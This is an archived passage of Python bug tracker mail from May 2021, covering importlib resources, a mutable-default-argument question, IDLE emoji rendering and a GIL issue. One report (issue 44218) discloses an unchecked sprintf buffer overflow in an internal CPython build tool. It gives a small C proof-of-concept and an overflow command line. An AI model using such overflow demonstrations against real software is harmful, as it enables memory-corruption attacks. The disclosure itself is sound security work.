Failure loading Togl package: can't find package Togl, on debian systems this is provided by `libtogl2` ... Crypto brain_crypt hgext random ... Warnings should probably be suppressed during module importing in help. Any warnings emitted here are probably deprecation warnings or system configuration issues, not useful to a user trying to browse modules. ---------- assignee: docs at python components: Documentation, Library (Lib) messages: 394196 nosy: docs at python, stefanor priority: normal severity: normal status: open title: help() module listing displays import warnings from deprecated package modules type: behavior versions: Python 3.10, Python 3.11, Python 3.6, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 23 09:10:05 2021 From: report at bugs.python.org (Jeremy Kloth) Date: Sun, 23 May 2021 13:10:05 +0000 Subject: [issue44214] PyArg_Parse* for vectorcall? In-Reply-To: <1621764892.64.0.828165785402.issue44214@roundup.psfhosted.org> Message-ID: <1621775405.36.0.10719526779.issue44214@roundup.psfhosted.org> Change by Jeremy Kloth : ---------- nosy: +jkloth _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 23 09:12:11 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Sun, 23 May 2021 13:12:11 +0000 Subject: [issue44195] importlib.abc.TraversableReader is not implemented In-Reply-To: <1621538392.98.0.999702978705.issue44195@roundup.psfhosted.org> Message-ID: <1621775531.83.0.300459389576.issue44195@roundup.psfhosted.org> Change by Jason R. Coombs : ---------- pull_requests: +24912 pull_request: https://github.com/python/cpython/pull/26317 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 23 09:14:01 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Sun, 23 May 2021 13:14:01 +0000 Subject: [issue44195] importlib.abc.TraversableReader is not implemented In-Reply-To: <1621538392.98.0.999702978705.issue44195@roundup.psfhosted.org> Message-ID: <1621775641.35.0.294649166925.issue44195@roundup.psfhosted.org> Jason R. Coombs added the comment: I don't believe a `TraversableReader` protocol was intended. Instead, the referenced change introduced the `TraversableResources` ABC. There's a typo in the docs. I created PR 26317 instead to correct the mistake. WDYT? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 23 09:40:03 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 23 May 2021 13:40:03 +0000 Subject: [issue28307] Accelerate 'string' % (value, ...) by using formatted string literals In-Reply-To: <1475138996.48.0.897803092987.issue28307@psf.upfronthosting.co.za> Message-ID: <1621777203.99.0.42210976808.issue28307@roundup.psfhosted.org> Change by Serhiy Storchaka : ---------- pull_requests: +24913 pull_request: https://github.com/python/cpython/pull/26318 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 23 09:41:49 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Sun, 23 May 2021 13:41:49 +0000 Subject: [issue44196] Document that importlib.abc.Traversable's methods should raise FileNotFoundError In-Reply-To: <1621539730.49.0.96209264228.issue44196@roundup.psfhosted.org> Message-ID: <1621777309.73.0.888164956436.issue44196@roundup.psfhosted.org> Jason R. Coombs added the comment: After reviewing the PR, I'm not convinced the Traversable methods need any specification about when to raise FileNotFoundError (or other exceptions). Let's flesh out what conditions demand prescribed interfaces. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 23 10:39:05 2021 From: report at bugs.python.org (Ashish Shevale) Date: Sun, 23 May 2021 14:39:05 +0000 Subject: [issue44216] Bug in class method with optional parameter Message-ID: <1621780745.47.0.719143044466.issue44216@roundup.psfhosted.org> New submission from Ashish Shevale : Consider the following piece of code class MyClass: def do_something(self, a, b = []): b.append(a) print("b contains", b) def caller(self): a = (1,2) self.do_something(a) a = MyClass().caller() a = MyClass().caller() a = MyClass().caller() For this, the expected output would be b contains [(1, 2)] b contains [(1, 2)] b contains [(1, 2)] But actually comes out to be b contains [(1, 2)] b contains [(1, 2), (1, 2)] b contains [(1, 2), (1, 2), (1, 2)] This only happens if in the do_something method, we append 'a' directly to 'b'. Instead, if we create a copy of parameter 'b', and append 'a' to the copy, there are no such side effects ---------- messages: 394199 nosy: shevaleashish priority: normal severity: normal status: open title: Bug in class method with optional parameter type: behavior versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 23 11:08:16 2021 From: report at bugs.python.org (William Pickard) Date: Sun, 23 May 2021 15:08:16 +0000 Subject: [issue44216] Bug in class method with optional parameter In-Reply-To: <1621780745.47.0.719143044466.issue44216@roundup.psfhosted.org> Message-ID: <1621782496.7.0.208901418935.issue44216@roundup.psfhosted.org> William Pickard added the comment: This is not a bug but a side-affect at how defaulted parameters are stored. The rule of thumb is to never use mutable values as default values for parameters. When a method is created in the Python runtime, it checks if the signature has defaulted keyword arguments. If it does, it executes the expression to retrieve the value for the arguments and stores the results internally. When you go and execute the method with these arguments missing, Python retrieves a reference the the generated value and provides your method with that. This is your issue as you're modifying the same object with every call to the method. The proper way to do this is this: def do_something(self, a, b=None): b = b if b is not None else [] b.append(a) print('b contains', b) ---------- nosy: +WildCard65 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 23 11:36:23 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Sun, 23 May 2021 15:36:23 +0000 Subject: [issue44217] [IDLE] Weird behaviour in IDLE while dealing with non-ASCII characters Message-ID: <1621784183.18.0.916586906015.issue44217@roundup.psfhosted.org> New submission from Shreyan Avigyan : In IDLE, suppose I want to print ?. I can write it like, print(b'\xf0\x9f\x98\x80'.decode()). I can't print it in console so I tried it in IDLE. It worked. Hurray! Hold on though. Now I thought how can I print ? directly. So I used the command 'print("?")' in IDLE and I saw a weird behavior. Actually to be accurate, many weird behaviors! 1. If I type in 'print(?))' and I want to delete the extra ')' but it just stuck. I can't backspace or delete anything I've typed but I can type more. 2. If we move our cursor (typing cursor, not the flying one) over the output using arrow keys we would see that the characters are moving and occasionally dancing. 3. (Here comes the laughing part) If we type in 'print(?)' and then move our typing cursor just between the emoji and the ')' and start typing we would see we're typing in the opposite way. So if we move our cursor and intend to type 'hello' we would actually end up typing 'olleh'. I'm not sure but these look like bugs to me. ---------- assignee: terry.reedy components: IDLE messages: 394201 nosy: shreyanavigyan, terry.reedy priority: normal severity: normal status: open title: [IDLE] Weird behaviour in IDLE while dealing with non-ASCII characters type: behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 23 11:36:54 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Sun, 23 May 2021 15:36:54 +0000 Subject: [issue44217] [IDLE] Weird behaviour in IDLE while dealing with non-ASCII characters In-Reply-To: <1621784183.18.0.916586906015.issue44217@roundup.psfhosted.org> Message-ID: <1621784214.78.0.91161985799.issue44217@roundup.psfhosted.org> Change by Shreyan Avigyan : ---------- versions: +Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 23 11:39:17 2021 From: report at bugs.python.org (Steven D'Aprano) Date: Sun, 23 May 2021 15:39:17 +0000 Subject: [issue44216] Bug in class method with optional parameter In-Reply-To: <1621780745.47.0.719143044466.issue44216@roundup.psfhosted.org> Message-ID: <1621784357.1.0.331409505329.issue44216@roundup.psfhosted.org> Steven D'Aprano added the comment: This is not a bug, this is working as the language is designed, and the behaviour occurs for all functions, not just class methods. Default values are only evaluated once, when the function is defined, not every time the function is called. This is even described in the FAQs: https://docs.python.org/3/faq/programming.html#id13 ---------- nosy: +steven.daprano resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 23 11:47:04 2021 From: report at bugs.python.org (Mohammed Dief) Date: Sun, 23 May 2021 15:47:04 +0000 Subject: [issue44218] Possible Stack Based Buffer Overflow at Programs/_freeze_importlib.c Message-ID: <1621784824.73.0.711362267211.issue44218@roundup.psfhosted.org> New submission from Mohammed Dief : When you open Programs/_freeze_importlib.c code, you will get the main function that gets executed when the C binary is running. That proves the first point that that's the function that is gonna be used when this code is getting built or used on other functions. at the first variables define lines you will find that there's a variable called: `buf` with memory limit of 100 bytes: https://github.com/python/cpython/blob/bb3e0c240bc60fe08d332ff5955d54197f79751c/Programs/_freeze_importlib.c#L37 If you continue tracking the `buf` variable usage, you will get that the first function it's used in is `sprintf` at: https://github.com/python/cpython/blob/bb3e0c240bc60fe08d332ff5955d54197f79751c/Programs/_freeze_importlib.c#L102 and as we all know, sprintf isn't a memory secure function on C. and when the memory size isn't validated then BOFs can happen in this case. The sprintf function is using a variable called: `name` to store it's value to the buf variable, in this case the name variable is a constant variable that is defined as char with *name. then on https://github.com/python/cpython/blob/bb3e0c240bc60fe08d332ff5955d54197f79751c/Programs/_freeze_importlib.c#L51 the name variable value is set based on the first argument of the program. That means, running a program with 96 'A' characters on the first argument can exceed the 100 bytes on the memory limit causing possible arbitrary code execution and DOS on the binary. Once again, it's just a code review process. I dunno where the code is running but if you think this issue is invalid i would like to know where the code is running so I can dig deeper over there. Here's some code tests that proves my point here too: main.c: #include #include int main(int argc, char *argv[]){ int i; const char *name; char buf[100]; for(i=1; i < argc; i++) { name = argv[i]; sprintf(buf, "", name); puts(buf); } return 0; } shell: gcc main.c -o main ./main $(python3 -c "print('A'*100)") This issue was reported to PSRT, and they said the code is an internal tool that's used by developers not end-users. and asked me to open an issue here. ---------- components: Library (Lib) messages: 394203 nosy: demonia priority: normal severity: normal status: open title: Possible Stack Based Buffer Overflow at Programs/_freeze_importlib.c type: security versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 23 11:48:36 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Sun, 23 May 2021 15:48:36 +0000 Subject: [issue44195] importlib.abc.TraversableReader is not implemented In-Reply-To: <1621538392.98.0.999702978705.issue44195@roundup.psfhosted.org> Message-ID: <1621784916.48.0.309031361333.issue44195@roundup.psfhosted.org> Filipe La?ns added the comment: We do implement the protocol, and not TraversableResources, in some places, such as DegenerateFiles for eg. It seems to me that maybe that is an issue and we actually want to inherit from TraversableResources. The question here is, are people supposed to be implementing readers with just files(), or are they always expected to inherit TraversableResources? Regardless of the usefulness in code, please also consider type hinting. If people are expecting to be using this protocol, we should expose it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 23 12:04:27 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Sun, 23 May 2021 16:04:27 +0000 Subject: [issue44196] Document that importlib.abc.Traversable's methods should raise FileNotFoundError In-Reply-To: <1621539730.49.0.96209264228.issue44196@roundup.psfhosted.org> Message-ID: <1621785867.31.0.368999017148.issue44196@roundup.psfhosted.org> Filipe La?ns added the comment: Okay. Having a better look at it, I think we should only add this specification to open(). Traversable, by design, makes it totally plausible that open() cannot be performed. It could be a nonexistent path, the Traversable could represent object where open() does not make sense given the underlying implementation (it's something that cannot be read), etc. If Traversable makes it possible for open() to not work, it should give us a mechanism to handle such situations. If the only thing I know about an object is that it implements Traversable, how can I use open() in a reliable manner without having my code explode? This mechanism does not need to be FileNotFoundError. But, in my opinion, it is what probably makes the most sense in this case. Please let me know if you have a different/better idea. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 23 12:09:40 2021 From: report at bugs.python.org (Steven D'Aprano) Date: Sun, 23 May 2021 16:09:40 +0000 Subject: [issue44217] [IDLE] Weird behaviour in IDLE while dealing with non-ASCII characters In-Reply-To: <1621784183.18.0.916586906015.issue44217@roundup.psfhosted.org> Message-ID: <1621786180.86.0.859249296249.issue44217@roundup.psfhosted.org> Steven D'Aprano added the comment: The smiley emoji ? is U+1F600 which is outside of the Unicode Basic Multilingual Plane (BMP). IDLE's underlying graphical toolkit, Tcl/Tk, has problems with Unicode characters outside of the BMP, so this may not be fixable by us. If all you want is to print the emoji, the best way is one of these: print('\U0001F600') print('\N{GRINNING FACE}') or use another editor or IDE. Python itself has no problems here, it is just the IDLE editor. I'm not a Tcl/Tk expert, but it looks like they may be working towards fixing this: https://core.tcl-lang.org/tips/doc/trunk/tip/542.md ---------- nosy: +steven.daprano _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 23 12:16:32 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Sun, 23 May 2021 16:16:32 +0000 Subject: [issue44217] [IDLE] Weird behaviour in IDLE while dealing with non-ASCII characters In-Reply-To: <1621784183.18.0.916586906015.issue44217@roundup.psfhosted.org> Message-ID: <1621786592.74.0.99132316076.issue44217@roundup.psfhosted.org> Shreyan Avigyan added the comment: It's not a Python problem at all. This was occurring in IDLE only. And yeah I know how it print the character. It's just that I was confused that why IDLE is behaving like that. I am happy to learn that it has a fix coming soon. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 23 12:53:07 2021 From: report at bugs.python.org (Guido van Rossum) Date: Sun, 23 May 2021 16:53:07 +0000 Subject: [issue44218] Possible Stack Based Buffer Overflow at Programs/_freeze_importlib.c In-Reply-To: <1621784824.73.0.711362267211.issue44218@roundup.psfhosted.org> Message-ID: <1621788787.16.0.74332310958.issue44218@roundup.psfhosted.org> Change by Guido van Rossum : ---------- nosy: +gvanrossum _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 23 13:18:13 2021 From: report at bugs.python.org (Matthias Urlichs) Date: Sun, 23 May 2021 17:18:13 +0000 Subject: [issue44219] Opening a file holds the GIL when it calls "isatty()" Message-ID: <1621790293.8.0.271052485401.issue44219@roundup.psfhosted.org> New submission from Matthias Urlichs : Opening a file calls `isatty` which calls an ioctl with the GIL held. GDB: ``` #0 __GI___tcgetattr (fd=18, termios_p=termios_p at entry=0x7f618a5df920) at ../sysdeps/unix/sysv/linux/tcgetattr.c:38 #1 0x00007f618bd1ca0c in __isatty (fd=) at ../sysdeps/posix/isatty.c:27 #2 0x000000000062b746 in _Py_device_encoding (fd=) at ../Python/fileutils.c:62 #3 0x000000000060bf90 in _io_TextIOWrapper___init___impl (write_through=0, line_buffering=0, newline=0x0, errors='strict', encoding=, buffer=<_io.BufferedWriter at remote 0x7f618986aeb0>, self=0x7f618985a860) at ../Modules/_io/textio.c:1149 ... ``` Please don't do that. In my case, the file in question is implemented as a FUSE mount which is served by the same process (different thread of course). Thus holding the GIL at this point causes a rather interesting deadlock. Tested with 3.9. ---------- components: Interpreter Core messages: 394208 nosy: smurfix priority: normal severity: normal status: open title: Opening a file holds the GIL when it calls "isatty()" type: crash versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 23 13:18:47 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Sun, 23 May 2021 17:18:47 +0000 Subject: [issue44196] Document that importlib.abc.Traversable's methods should raise FileNotFoundError In-Reply-To: <1621539730.49.0.96209264228.issue44196@roundup.psfhosted.org> Message-ID: <1621790327.04.0.971259425233.issue44196@roundup.psfhosted.org> Jason R. Coombs added the comment: Having a look at the `open` function (https://docs.python.org/3/library/functions.html#open), it does not define which exceptions might be thrown. Similarly for pathlib.Path.open (https://docs.python.org/3/library/pathlib.html#pathlib.Path.open) and zipfile.Path.open (https://docs.python.org/3/library/zipfile.html#zipfile.Path.open). And since the canonical implementation of a Traversable resource is those two Path classes, it seems infeasible for the protocol to enforce a specific constraint on the available exceptions. I think the best this protocol can do is advertise that the underlying implementation may raise an Exception if the target indicated by self cannot be opened (allowing for an Exception where appropriate), but in my opinion, that's the default interface for any protocol (or function) unless otherwise specified. I don't want to explicitly call out FileNotFoundError or IsADirectoryError because those exceptions happen to be the most common. Consider for example the case where permission is not granted for read: ``` $ pathlib.Path('./foo').open() PermissionError: [Errno 13] Permission denied: 'foo' ``` That's yet another case where Traversable.open might raise something other than FileNotFoundError. In my opinion, unless the Traversable objects are expected to handle or transform exceptions, it's fine to simply delegate to the underlying implementations and allow any exceptions to bubble through. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 23 13:26:13 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Sun, 23 May 2021 17:26:13 +0000 Subject: [issue44196] Document that importlib.abc.Traversable's methods should raise FileNotFoundError In-Reply-To: <1621539730.49.0.96209264228.issue44196@roundup.psfhosted.org> Message-ID: <1621790773.61.0.609548440778.issue44196@roundup.psfhosted.org> Filipe La?ns added the comment: That makes sense, I wish all these details were documented, but it is more than enough precedent to choose to not add such enforcements to the specification. ---------- resolution: -> rejected stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 23 13:36:03 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Sun, 23 May 2021 17:36:03 +0000 Subject: [issue44200] Recommend importlib.abc.Traversable users to implement __fspath__ In-Reply-To: <1621555757.0.0.446826001958.issue44200@roundup.psfhosted.org> Message-ID: <1621791363.0.0.651737230679.issue44200@roundup.psfhosted.org> Jason R. Coombs added the comment: The problem with the `__fspath__` protocol is that it assumes a file system. The `importlib.resources` and `Traversable` protocols are trying to provide a lower-level interface that doesn't assume a file system. Fortunately, there already exists a helper function `as_file` (https://docs.python.org/3/library/importlib.html#importlib.resources.as_file) that's meant to provide the user experience that `path` once provided, but for Traversable files. Does that satisfy the need you've identified? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 23 13:42:07 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Sun, 23 May 2021 17:42:07 +0000 Subject: [issue44202] Add errors argument to importlib.abc.Traversable.read_text In-Reply-To: <1621557618.8.0.0795538281647.issue44202@roundup.psfhosted.org> Message-ID: <1621791727.3.0.871115185121.issue44202@roundup.psfhosted.org> Jason R. Coombs added the comment: It would be straightforward to add that parameter to `read_text` but I'm uncertain if it will be needed. Since a Traversable already provides an open method which _does_ explicitly pass through keyword arguments to the underlying opener, perhaps it would be best to direct users to that interface if `errors` is needed and save supporting that parameter for `read_text` unless a user experience demands it. WDYT? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 23 13:49:58 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Sun, 23 May 2021 17:49:58 +0000 Subject: [issue44200] Recommend importlib.abc.Traversable users to implement __fspath__ In-Reply-To: <1621555757.0.0.446826001958.issue44200@roundup.psfhosted.org> Message-ID: <1621792198.32.0.30337851249.issue44200@roundup.psfhosted.org> Filipe La?ns added the comment: That's why I said it should be optional. If the object can implement it, it should. `pathlib.Path` certainly can, `zipfile.Path` can't, and that's alright. If the Traversable does not represent a path on the file-system, it does not make sense to implement `__fspath__`, so it shouldn't. I think `as_file` should learn to behave like `path`, if `__fspath__` is available, it will use that path, otherwise it will do what it does currently, which is creating a temporary path and writing the resource contents there. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 23 14:28:58 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Sun, 23 May 2021 18:28:58 +0000 Subject: [issue44217] [IDLE] Weird behaviour in IDLE while dealing with non-ASCII characters In-Reply-To: <1621784183.18.0.916586906015.issue44217@roundup.psfhosted.org> Message-ID: <1621794538.37.0.185899909644.issue44217@roundup.psfhosted.org> Erlend E. Aasland added the comment: > The smiley emoji ? is U+1F600 which is outside of the Unicode Basic Multilingual Plane (BMP). Correct, and this is documented: https://docs.python.org/3/library/idle.html#user-output-in-shell Suggesting to close this as not-a-bug. ---------- nosy: +erlendaasland status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 23 14:30:13 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Sun, 23 May 2021 18:30:13 +0000 Subject: [issue44217] [IDLE] Weird behaviour in IDLE when printing non-BMP unicode characters In-Reply-To: <1621784183.18.0.916586906015.issue44217@roundup.psfhosted.org> Message-ID: <1621794613.0.0.510792170585.issue44217@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- status: pending -> open title: [IDLE] Weird behaviour in IDLE while dealing with non-ASCII characters -> [IDLE] Weird behaviour in IDLE when printing non-BMP unicode characters _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 23 14:30:25 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Sun, 23 May 2021 18:30:25 +0000 Subject: [issue44217] [IDLE] Weird behaviour in IDLE when printing non-BMP unicode characters In-Reply-To: <1621784183.18.0.916586906015.issue44217@roundup.psfhosted.org> Message-ID: <1621794625.83.0.596469428452.issue44217@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 23 14:32:57 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Sun, 23 May 2021 18:32:57 +0000 Subject: [issue44217] [IDLE] Weird behaviour in IDLE when printing non-BMP unicode characters In-Reply-To: <1621784183.18.0.916586906015.issue44217@roundup.psfhosted.org> Message-ID: <1621794777.2.0.136046366117.issue44217@roundup.psfhosted.org> Shreyan Avigyan added the comment: What about closing this as third party? (Tcl/Tk is a dependency but still it's a third party right?) ---------- status: pending -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 23 14:33:21 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Sun, 23 May 2021 18:33:21 +0000 Subject: [issue44217] [IDLE] Weird behaviour in IDLE when printing non-BMP unicode characters In-Reply-To: <1621784183.18.0.916586906015.issue44217@roundup.psfhosted.org> Message-ID: <1621794801.39.0.974825905804.issue44217@roundup.psfhosted.org> Shreyan Avigyan added the comment: Also what's up with this open-pending issue? ---------- status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 23 14:44:22 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Sun, 23 May 2021 18:44:22 +0000 Subject: [issue44217] [IDLE] Weird behaviour in IDLE when printing non-BMP unicode characters In-Reply-To: <1621784183.18.0.916586906015.issue44217@roundup.psfhosted.org> Message-ID: <1621795462.46.0.824536288563.issue44217@roundup.psfhosted.org> Erlend E. Aasland added the comment: > What about closing this as third party? (Tcl/Tk is a dependency but still it's a third party right?) Sure. I'll leave that for Terry or any of the other IDLE devs. We can adjust the resolution after close if needed. > Also what's up with this open-pending issue? It seems like a bpo bug, but I've got a feeling that fixing bpo bugs will not be prioritised (see PEP 581 and PEP 588). ---------- status: pending -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 23 14:56:35 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Sun, 23 May 2021 18:56:35 +0000 Subject: [issue44164] Document what are resources in importlib.resources In-Reply-To: <1621296354.19.0.00786945584157.issue44164@roundup.psfhosted.org> Message-ID: <1621796195.44.0.605722637602.issue44164@roundup.psfhosted.org> Jason R. Coombs added the comment: I've not previously seen a definition of resources. The original implementation of importlib_resources excluded 'directories' as resources and excluded support for resources being in subdirectories (only files in packages were allowed). Now resources can be found in subdirectories that are not packages and in namesepace packages. I'd describe resources thus: "Resources" are file-like resources associated with a module[1] or package in Python. The resources may be contained directly in a package or within a subdirectory contained in that package. Resources may be text or binary. As a result, Python module sources (.py) of a package and compilation artifacts (__pycache__) are technically de-facto resources of that package. In practice, however, resources are primarily those non-Python artifacts exposed specifically by the package author. [1] Resources associated with top-level modules are not yet supported by importlib[._]resources (https://github.com/python/importlib_resources/issues/203) but were supported by pkg_resources. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 23 14:59:59 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Sun, 23 May 2021 18:59:59 +0000 Subject: [issue43643] importlib.readers.MultiplexedPath.name is not a property In-Reply-To: <1616880106.57.0.50019170707.issue43643@roundup.psfhosted.org> Message-ID: <1621796399.21.0.579285744606.issue43643@roundup.psfhosted.org> Change by Jason R. Coombs : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 23 15:04:15 2021 From: report at bugs.python.org (miss-islington) Date: Sun, 23 May 2021 19:04:15 +0000 Subject: [issue44210] Make importlib.metadata._meta.PackageMetadata public In-Reply-To: <1621628484.8.0.908930544273.issue44210@roundup.psfhosted.org> Message-ID: <1621796655.34.0.280122531885.issue44210@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 2.0 -> 3.0 pull_requests: +24914 pull_request: https://github.com/python/cpython/pull/26320 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 23 15:20:01 2021 From: report at bugs.python.org (miss-islington) Date: Sun, 23 May 2021 19:20:01 +0000 Subject: [issue43207] InspectLoader.is_package is not an abstract method In-Reply-To: <1613140800.67.0.306485673538.issue43207@roundup.psfhosted.org> Message-ID: <1621797601.16.0.595576560916.issue43207@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 3.0 -> 4.0 pull_requests: +24915 pull_request: https://github.com/python/cpython/pull/26321 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 23 15:20:07 2021 From: report at bugs.python.org (miss-islington) Date: Sun, 23 May 2021 19:20:07 +0000 Subject: [issue43207] InspectLoader.is_package is not an abstract method In-Reply-To: <1613140800.67.0.306485673538.issue43207@roundup.psfhosted.org> Message-ID: <1621797607.01.0.937846803296.issue43207@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24916 pull_request: https://github.com/python/cpython/pull/26322 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 23 15:29:00 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Sun, 23 May 2021 19:29:00 +0000 Subject: [issue44200] Recommend importlib.abc.Traversable users to implement __fspath__ In-Reply-To: <1621555757.0.0.446826001958.issue44200@roundup.psfhosted.org> Message-ID: <1621798140.14.0.860220329191.issue44200@roundup.psfhosted.org> Jason R. Coombs added the comment: > I think `as_file` should learn to behave like `path`, if `__fspath__` is available, it will use that path. Oh, that's an interesting idea. And that's effectively what happens [here](https://github.com/python/importlib_resources/blob/1886e2b9d699c55afc1b75dc19e7026ad27e453a/importlib_resources/_common.py#L109), where `as_file` returns a native Path object if that's what it encounters. Maybe another dispatcher could accept `os.PathLike` and in that case, return `pathlib.Path(os.fspath(path))`. Only thing is, that code would serve no purpose until there existed at least one other resource provider besides FileReader that has file-system-local resources. I'm not aware of any such provider. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 23 15:29:24 2021 From: report at bugs.python.org (miss-islington) Date: Sun, 23 May 2021 19:29:24 +0000 Subject: [issue44210] Make importlib.metadata._meta.PackageMetadata public In-Reply-To: <1621628484.8.0.908930544273.issue44210@roundup.psfhosted.org> Message-ID: <1621798164.53.0.526604186725.issue44210@roundup.psfhosted.org> miss-islington added the comment: New changeset e394573c3c75d0611c4eb3f6e0018576ff911494 by Miss Islington (bot) in branch '3.10': bpo-44210: make importlib.metadata._meta.PackageMetadata public (GH-26299) https://github.com/python/cpython/commit/e394573c3c75d0611c4eb3f6e0018576ff911494 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 23 15:37:24 2021 From: report at bugs.python.org (miss-islington) Date: Sun, 23 May 2021 19:37:24 +0000 Subject: [issue43207] InspectLoader.is_package is not an abstract method In-Reply-To: <1613140800.67.0.306485673538.issue43207@roundup.psfhosted.org> Message-ID: <1621798644.68.0.0252298113189.issue43207@roundup.psfhosted.org> miss-islington added the comment: New changeset 069bc4f5b45b28c7685d01c2b86659887f33f804 by Miss Islington (bot) in branch '3.10': bpo-43207: InspectLoader.is_package is not an abstract method (GH-24517) https://github.com/python/cpython/commit/069bc4f5b45b28c7685d01c2b86659887f33f804 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 23 16:02:09 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 23 May 2021 20:02:09 +0000 Subject: [issue44194] Folding ''.join() into f-strings In-Reply-To: <1621537414.24.0.919441492854.issue44194@roundup.psfhosted.org> Message-ID: <1621800129.56.0.796433367052.issue44194@roundup.psfhosted.org> Serhiy Storchaka added the comment: I only seen this idiom in the code of Argument Clinic (written by Larry). I am sure that it is used in third-party code, but I do not know how common is it. As for the proposed code, checking that the value is a string is not enough. 1. It can be a str subclass with an overridden __format__. In this case the result will be different. 2. If it is a str subclass without an overridden __format__, the optimization adds an overhead for looking up and calling the __format__ method. It can reverse the benefit in this case. To fix this you can skip formatting for this "converter". But there is a corner case for ''.join([value]). The result should always be a str. It may be complicated. You may need two new converter codes. 3. It is worth to merge consequent string constants and skip empty string constants. '/'.join([base, 'data', user_arg]) should produce [base, '/data/', user_arg] instead of [base, '/', 'data', '/', user_arg], and ''.join([base, 'data', user_arg]) should produce [base, 'data', user_arg] instead of [base, '', 'data', '', user_arg]. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 23 16:12:51 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Sun, 23 May 2021 20:12:51 +0000 Subject: [issue44200] Recommend importlib.abc.Traversable users to implement __fspath__ In-Reply-To: <1621555757.0.0.446826001958.issue44200@roundup.psfhosted.org> Message-ID: <1621800771.06.0.361940464752.issue44200@roundup.psfhosted.org> Filipe La?ns added the comment: CompatibilityFiles would use this. We could add a dispatch for that too, but that's 2 different cases now and `os.PathLike` would be able to handle both. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 23 16:16:20 2021 From: report at bugs.python.org (Batuhan Taskaya) Date: Sun, 23 May 2021 20:16:20 +0000 Subject: [issue44194] Folding ''.join() into f-strings In-Reply-To: <1621537414.24.0.919441492854.issue44194@roundup.psfhosted.org> Message-ID: <1621800980.77.0.312301916685.issue44194@roundup.psfhosted.org> Batuhan Taskaya added the comment: > 1. It can be a str subclass with an overridden __format__. In this case the result will be different. Thanks! Though this should be possible to do, so not a blocker for suggestion (if I am not missing something) > 2. If it is a str subclass without an overridden __format__, the optimization adds an overhead for looking up and calling the __format__ method. It can reverse the benefit in 